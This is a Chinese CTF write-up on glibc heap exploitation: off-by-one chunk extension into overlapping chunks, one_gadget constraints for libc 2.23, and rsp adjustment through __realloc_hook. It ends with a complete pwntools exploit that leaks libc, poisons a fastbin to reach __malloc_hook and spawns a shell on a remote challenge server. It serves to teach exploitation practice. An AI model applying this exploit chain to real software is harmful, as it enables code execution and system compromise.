堆的学习又了进一步,这次是关于Extend the chunk及realloc_hook利用
Extend the chunk是一种堆块漏洞利用中相当常见的套路,非常好用,它比较常见的利用条件是off-by-one等堆漏洞。
假设存在⼀個 off-by-one 漏洞,我们目的是构造overlap chunk,则构造过程应该为:
步骤1:申请三个堆块A、B、C,假定它们的size分别为sizeA、sizeB、sizeC,向A中写入数据覆盖到B中的size域,将B的size改为sizeB+sizeC。
步骤2:把B块free掉,此时根据B块的size去找下⼀块chunk的header进行inused bit检查,这里C块是被使用的,所以可以通过检查,通过检查后,free掉的堆块会根据sizeB+sizeC的大小放到bins里面。
步骤3:把C块也free掉,然后malloc(sizeB+sizeC),将刚刚被放到bins里面的chunk分配出来,这个时候C这个chunk还是在bins上面的,通过刚刚分配的chunk就可以控制chunk C的fd指针,从而实现任意地址写。
参考资料:https://wiki.x10sec.org/pwn/heap/chunk_extend_overlapping/
我们知道execve的利用是有条件的,以libc.2.23.so为例
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
这个四个execve的利用条件分别要满足rax == NULL、[rsp+0x30] == NULL、[rsp+0x50] == NULL、[rsp+0x70] == NULL,存在这样的情况,当我们当直接将execve写到malloc_hook或者free_hook里面时,但这些条件全部都不满足,此时execve便无法执行。
解决问题的途径是通过调用realloc函数调整rsp,使条件满足。
realloc函数在执行时首先检查realloc_hook是否为0,如果不为0,则执行realloc_hook里的内容。下图是它的执行过程:
也就是说,我们还可以将execve写到realloc_hook里面,我们可以根据具体的环境控制程序流从realloc函数中的某个push开始执行,这个时候函数的堆栈会发生变化,同时rsp也发生变化,这个时候我们就可以使rsp满足execve执行条件。程序流的控制可以将malloc_hook写为realloc+x,至于是从哪个push开始执行,需要根据具体的环境进行调试。
调试的过程还可以参考一下某位师傅的做法,参考链接:https://blog.csdn.net/Maxmalloc/article/details/102535427
该题目主要用到了上面所讲的知识点,漏洞清晰,常规套路明显。
首先checksec,保护全开
题目提供了一个选择栏目
漏洞存在于堆块编辑函数
sub_E26中存在off by one漏洞
思路分析:存在off by one漏洞,所以可以进行Extend the chunk,构造overlap chunk进而实现任意地址写,然后修改malloc_hook,但是这里不能直接修改malloc_hook为execue,因为堆栈环境不满足one_gadget的栈需求条件,所以为了让one_gadget执行,需要利用realloc进行一个堆调整,从而使one_gadget得到执行。
题目存在show函数,所以可以结合Extend the chunk和unsorted bin特点进行泄露。
add(24) #0 add(24) #1 add(56) #2 add(34) #3 add(56) #4 edit(0,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91') delete(1) add(56) #1 show(2) address = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print "address:" + hex(address)
libc_Addr = address-(0x7ffff7dd1b78-0x7ffff7a0d000) malloc_hook_fkchunk = libc_Addr + 0x3c4aed #malloc_hook_fkchunk = libc_Addr +a.symbols['__malloc_hook']-0x23 add(56)#5 add(24)#6 chunkA add(24)#7 chunkB-->x91 add(90) #8 --> chunkC 0x70 add(90) #9 add(24) #10 edit(6,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91') #chunkA delete(7) #chunkB delete(8) # overlap chunkC add(110) #7 edit(7,120,'l'*0x10+'\x00'*8+'\x71'+'\x00'*7+p64(malloc_hook_fkchunk)+'\x00'*70)
这里需要注意的是我们用的是fastbin attack,所以构造的malloc_hook_fkchunk 要满足fastbin的size字段校验,这里调试的size=0x7f,所以伪造的overlap chunk 大小应该为0x70。
one = libc_Addr+0x4526a#0xf02a4#0x4526#a0xf1147#0x45216# ralloc_hook = libc_Addr +a.symbols['__realloc_hook'] realloc=libc_Addr+a.symbols['__libc_realloc'] add(90) #10 0x70 add(90)#11 0x70 --> malloc_hook_fk_chunk edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc+2)+'\x00'*63) p.recvuntil("choice:") p.sendline("1") p.recvuntil("size:") p.sendline(str(90)) p.interactive()
这里的edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc+2)+'\x00'*63)
中one和realloc+2写入的位置分别是realloc_hook 和malloc_hook。
完整exp:
from pwn import* #p = process("./easy_pwn") p = remote("39.97.182.233",36545) context.log_level = 'debug' a = ELF("./libc-2.23.so") def add(size): p.recvuntil("choice:") p.sendline("1") p.recvuntil("size:") p.sendline(str(size)) def edit(idx,size,content): p.recvuntil("choice:") p.sendline("2") p.recvuntil("index: ") p.sendline(str(idx)) p.recvuntil("size:") p.sendline(str(size)) p.recvuntil("content: ") p.sendline(content) def delete(idx): p.recvuntil("choice:") p.sendline("3") p.recvuntil("index: ") p.sendline(str(idx)) def show(idx): p.recvuntil("choice:") p.sendline("4") p.recvuntil("index: ") p.sendline(str(idx)) add(24) #0 add(24) #1 add(56) #2 add(34) #3 add(56) #4 edit(0,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91') delete(1) add(56) #1 show(2) address = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print "address:" + hex(address) libc_Addr = address-(0x7ffff7dd1b78-0x7ffff7a0d000) malloc_hook_fkchunk = libc_Addr + 0x3c4aed one = libc_Addr+0x4526a#0xf02a4#0x4526a0xf1147 #0x45216# ralloc_hook = libc_Addr +a.symbols['__realloc_hook'] realloc=libc_Addr+a.symbols['__libc_realloc'] print "one :" + hex(one) print "ralloc_hook :" + hex(ralloc_hook ) add(56)#5 add(24)#6 add(24)#7-->x91 add(90) #8 add(90) #9 add(24) #10 edit(6,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91') delete(7) delete(8) add(110) #7 edit(7,120,'l'*0x10+'\x00'*8+'\x71'+'\x00'*7+p64(malloc_hook_fkchunk)+'\x00'*70) add(90) add(90)#11 edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc+2)+'\x00'*63) p.recvuntil("choice:") p.sendline("1") p.recvuntil("size:") p.sendline(str(90)) p.interactive()
题目见附件